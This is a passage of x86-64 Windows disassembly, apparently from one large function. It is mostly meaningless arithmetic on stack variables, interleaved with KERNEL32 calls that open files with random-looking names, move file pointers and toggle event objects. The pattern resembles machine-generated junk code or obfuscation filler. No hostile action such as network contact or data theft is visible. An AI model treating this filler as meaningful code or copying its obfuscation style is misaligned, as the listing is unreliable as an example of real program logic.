mov qword [rsp + 0x1ca8], rax
mov rax, qword [rsp + 0x11c0]
mov rcx, qword [rsp + 0x2348]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1908]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x12c5
mov rcx, qword [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov eax, dword [rsp + 0x10e8]
mov ecx, dword [rsp + 0x1120]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb8], eax
mov rax, qword [rsp + 0x1930]
mov eax, dword [rax]
add eax, dword [rsp + 0x8d0]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c2], al
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x1898], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x23d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xcb1f
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a44], eax
mov rax, qword [0x1400fd228]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23c]
and eax, ecx
mov rcx, qword [0x1400fd228]
mov word [rcx], ax
mov rax, qword [rsp + 0x1cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30c]
sub eax, ecx
mov word [rsp + 0x19c], ax
lea rax, [rsp + 0x6fc]
mov qword [rsp + 0x1168], rax
mov rax, qword [0x1400fd288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a4], ax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x17d8], rax
mov rax, qword [rsp + 0x1ba0]
mov rcx, qword [rsp + 0x1400]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x514], eax
mov rcx, qword [rsp + 0x3150]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
shl eax, cl
mov rcx, qword [rsp + 0xdc8]
mov byte [rcx], al
movsx eax, word [rsp + 0x4f8]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xae0], ax
movzx eax, word [rsp + 0x8c]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5b4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.rsMgP6_vjnclmYLI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3e58], rax
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e4], eax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b0]
add rax, qword [rcx]
mov rcx, qword [0x1400fd180]
mov qword [rcx], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x22b8], rax
mov rax, qword [0x1400fd1e8]
mov rcx, qword [rsp + 0x1180]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [rsp + 0x17d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2428], rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x16a0], rax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10a]
and eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x1278]
mov eax, dword [rax]
mov dword [rsp + 0x34f4], eax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0xf4]
add eax, ecx
mov byte [rsp + 0xcc], al
mov eax, dword [rsp + 0x110c]
mov rcx, qword [rsp + 0x1d80]
mov qword [rsp + 0x4700], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4700]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x510], eax
mov rax, qword [rsp + 0x1040]
mov qword [0x1400fd3c0], rax
lea rax, [rsp + 0x350]
mov qword [rsp + 0xff8], rax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1438]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1328]
mov word [rcx], ax
movzx eax, word [rsp + 0x558]
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0xcb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xca0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4e54
mov rcx, qword [rsp + 0x2d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov rcx, qword [0x1400fc3d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1890], rax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x1400]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x634]
shl eax, cl
mov dword [rsp + 0x998], eax
movzx eax, word [rsp + 0x164]
mov word [rsp + 0x4ec], ax
mov rax, qword [rsp + 0xdd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd388]
mov word [rcx], ax
mov rax, qword [0x1400fd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x738]
mov qword [rsp + 0x4708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4708]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xf88]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4b4]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14d8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2bf8], rax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c0]
sub eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0x500]
mov qword [rsp + 0x1e60], rax
mov eax, dword [rsp + 0x8f8]
mov ecx, dword [rsp + 0xcc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc0], eax
mov rax, qword [rsp + 0x1938]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x797b
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
movsx eax, word [rsp + 0x25c]
movsx ecx, word [rsp + 0x164]
and eax, ecx
mov rcx, qword [rsp + 0x1a10]
mov word [rcx], ax
lea rax, [rsp + 0x70]
mov qword [0x1400fd3c8], rax
mov rax, qword [rsp + 0x16a8]
movzx ecx, al
mov rax, qword [rsp + 0xc90]
sar rax, cl
mov rcx, qword [rsp + 0xb48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x2358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1c88], rax
movsx eax, word [rsp + 0x248]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x140], ax
lea rax, [rsp + 0x254]
mov qword [rsp + 0xd88], rax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1938]
mov byte [rcx], al
mov eax, dword [rsp + 0x674]
mov rcx, qword [0x1400fd1f0]
mov qword [rsp + 0x4710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4710]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x634], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x2328], rax
mov rax, qword [rsp + 0x16c8]
mov rcx, qword [rsp + 0x1f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x140]
xor eax, ecx
mov rcx, qword [0x1400fd228]
mov word [rcx], ax
movzx eax, word [rsp + 0x5ec]
mov word [rsp + 0x4a8], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x340]
mov ecx, dword [0x1400fc384]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0xb94], eax
mov rax, qword [rsp + 0x2448]
mov rcx, qword [rsp + 0x620]
mov qword [rsp + 0x4718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4718]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x12f8], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xcbc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd28]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1920]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x17d8], rax
mov rax, qword [rsp + 0x2090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x240]
and eax, ecx
mov word [rsp + 0xb14], ax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x84]
mov word [0x1400fd3d0], ax
mov rax, qword [rsp + 0x1518]
mov rcx, qword [rsp + 0x11d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x978], rax
movzx eax, word [rsp + 0x724]
movzx ecx, word [rsp + 0x1dc]
sub eax, ecx
mov word [rsp + 0x8c], ax
movzx eax, word [rsp + 0x444]
mov word [rsp + 0x6c8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.qb8FcXvBKxYoYQnI3M9uu9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x30f8], rax
mov rax, qword [rsp + 0x10b8]
mov rcx, qword [rsp + 0xca0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1070], rax
mov rax, qword [0x1400fd330]
movzx eax, byte [rax]
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1008]
mov qword [rsp + 0x4720], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4720]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x828]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2330]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1ec0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x4a8]
mov qword [rsp + 0x1770], rax
mov rax, qword [rsp + 0x1020]
movzx ecx, al
mov rax, qword [rsp + 0x2358]
shl rax, cl
mov qword [0x1400fd328], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x197
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x970]
mov ecx, dword [rsp + 0x9f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1428]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x139], al
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf90]
mov word [rcx], ax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x1538], rax
mov rax, qword [rsp + 0x1400]
mov rcx, qword [rsp + 0xca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x694], eax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x157]
sar eax, cl
mov byte [rsp + 0x239], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.GJaXbzWoTI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2390], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xe79e
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov qword [rsp + 0x1eb8], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x174]
sub eax, ecx
mov rcx, qword [rsp + 0x958]
mov word [rcx], ax
lea rax, [rsp + 0x300]
mov qword [0x1400fd3d8], rax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x1880], rax
mov rax, qword [rsp + 0x18a0]
mov rcx, qword [0x1400fd298]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfa8]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10b8], rax
movsx eax, word [rsp + 0x23c]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b8], ax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x628]
mov qword [rsp + 0x4728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4728]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x14f0], rax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x2e58], rax
movsx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1410]
mov byte [rcx], al
mov rax, qword [rsp + 0x1428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.y5HnnYFsLsVeb52n4dcwNWosuZL6CVxKWxS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1e78], rax
mov eax, dword [rsp + 0xb94]
mov dword [rsp + 0x2778], eax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd378], ax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x214]
sub eax, ecx
mov rcx, qword [rsp + 0xb30]
mov word [rcx], ax
movzx eax, word [rsp + 0x128]
mov word [rsp + 0x5e4], ax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1bb0]
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x3178]
mov rcx, qword [rsp + 0xa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1108], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd245
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x197c], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f10]
mov qword [rsp + 0x4730], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4730]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x12e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x554]
mov word [rsp + 0x594], ax
movzx eax, word [rsp + 0x150]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x318], ax
mov rax, qword [rsp + 0xd08]
mov rcx, qword [rsp + 0x1308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc440], rax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1538]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaf0], ax
mov rax, qword [rsp + 0x7c8]
mov rcx, qword [rsp + 0xdb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1928], rax
mov rax, qword [rsp + 0x9b8]
mov rcx, qword [rsp + 0x9c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d60], rax
lea rax, [0x1400fd1d8]
mov qword [rsp + 0x1508], rax
mov rax, qword [rsp + 0x1368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x239]
shl eax, cl
mov rcx, qword [rsp + 0x1938]
mov byte [rcx], al
lea rax, [rsp + 0x138]
mov qword [rsp + 0x1520], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1810], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbf56
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0xe10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e4], eax
mov rax, qword [rsp + 0x1818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x17d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf78]
mov qword [rcx], rax
movsx eax, word [rsp + 0x4c8]
mov rcx, qword [0x1400fd2f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd1dc], ax
mov rax, qword [rsp + 0xa58]
movzx eax, word [rax]
mov word [rsp + 0x860], ax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xe0]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x1258]
mov word [rcx], ax
lea rax, [rsp + 0x300]
mov qword [rsp + 0x1ad0], rax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd90]
add rax, qword [rcx]
mov qword [rsp + 0x1708], rax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov eax, 0x38
imul rax, rax, 2
mov dword [rsp + rax + 0x5b60], 0x1c2b75f6
mov rax, qword [rsp + 0x750]
mov ecx, dword [rsp + 0x79c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8b77
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a34], eax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x588]
sar eax, cl
mov word [rsp + 0x264], ax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a54], eax
mov rax, qword [rsp + 0x14c8]
movzx eax, word [rax]
mov word [rsp + 0x8b0], ax
lea rax, [rsp + 0x1b18]
mov qword [0x1400fd3e0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6109
mov rcx, qword [rsp + 0x3690]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x12f8]
mov rcx, qword [0x1400fd230]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
lea rax, [0x1400fd250]
mov qword [rsp + 0x1738], rax
movzx eax, word [rsp + 0x8c]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x384], ax
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x1758], rax
mov eax, dword [rsp + 0x94]
cdq
mov rcx, qword [0x1400fd138]
idiv dword [rcx]
mov dword [rsp + 0x8e4], eax
mov rax, qword [rsp + 0x1d80]
mov eax, dword [rax]
mov dword [rsp + 0x1974], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf1db
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1430]
mov byte [rcx], al
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
mov qword [0x1400fd3e8], rax
movsx eax, word [rsp + 0x6cc]
movsx ecx, word [rsp + 0x314]
shl eax, cl
mov word [rsp + 0x464], ax
lea rax, [rsp + 0xae0]
mov qword [rsp + 0x1958], rax
movzx eax, word [rsp + 0x730]
movzx ecx, word [rsp + 0x558]
or eax, ecx
mov word [rsp + 0x214], ax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fc3a8]
sar rax, cl
mov qword [rsp + 0x2258], rax
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
add eax, dword [rsp + 0x514]
mov dword [rsp + 0x56c], eax
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x2330]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1260], rax
mov rax, qword [rsp + 0x1950]
movzx eax, byte [rax]
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0x1010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0]
and eax, ecx
mov word [rsp + 0xf0], ax
movzx eax, word [0x1400fc3d0]
movzx ecx, word [rsp + 0x430]
add eax, ecx
mov word [0x1400fd178], ax
mov rax, qword [rsp + 0xb68]
mov rcx, qword [rsp + 0xf88]
mov qword [rsp + 0x4738], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4738]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1848], rax
movzx eax, word [rsp + 0x4c0]
mov rcx, qword [0x1400fd1a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x45c], ax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
mov dword [rsp + 0x139c], eax
mov rax, qword [rsp + 0x1ec0]
mov rcx, qword [0x1400fd148]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd18], rax
mov eax, dword [rsp + 0x694]
mov dword [rsp + 0x1124], eax
mov rax, qword [rsp + 0x1f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1368]
mov byte [rcx], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x1458], rax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x6c]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc3f0], ax
mov rax, qword [rsp + 0x1838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x16a8], rax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov rcx, qword [0x1400fd2f8]
mov qword [rsp + 0x4740], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4740]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd78]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.olRMwdKYq7D3qRiCBrSK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2ed8], rax
lea rax, [rsp + 0x290]
mov qword [rsp + 0xfe8], rax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a4], ax
lea rax, str._aMl
mov qword [rsp + 0x19a8], rax
mov eax, dword [rsp + 0xe20]
mov ecx, dword [rsp + 0x1990]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1900], rax
mov rax, qword [0x1400fd3e0]
mov rcx, qword [rsp + 0x18d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x14d0], rax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x218]
and eax, ecx
mov word [0x1400fc448], ax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
movzx eax, word [rsp + 0x36c]
mov rcx, qword [0x1400fd2a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x374], ax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x2ae0], rax
movzx eax, byte [rsp + 0x16c]
movzx ecx, byte [rsp + 0x118]
add eax, ecx
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xd1fa
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1790], rax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x548], al
mov rax, qword [rsp + 0x1170]
movzx ecx, al
mov rax, qword [rsp + 0x818]
shl rax, cl
mov qword [rsp + 0x1e80], rax
lea rax, [rsp + 0x1120]
mov qword [rsp + 0x1f48], rax
movsx eax, word [rsp + 0x594]
movsx ecx, word [rsp + 0xd0]
or eax, ecx
mov word [rsp + 0x368], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3870], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5396
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
movzx eax, word [rsp + 0x6c]
mov rcx, qword [rsp + 0x1ad0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc398], ax
mov rax, qword [rsp + 0x760]
mov rcx, qword [rsp + 0x14a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1140], rax
mov eax, 0x38
imul rax, rax, 2
mov byte [rsp + rax + 0x5b91], 1
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x1358], rax
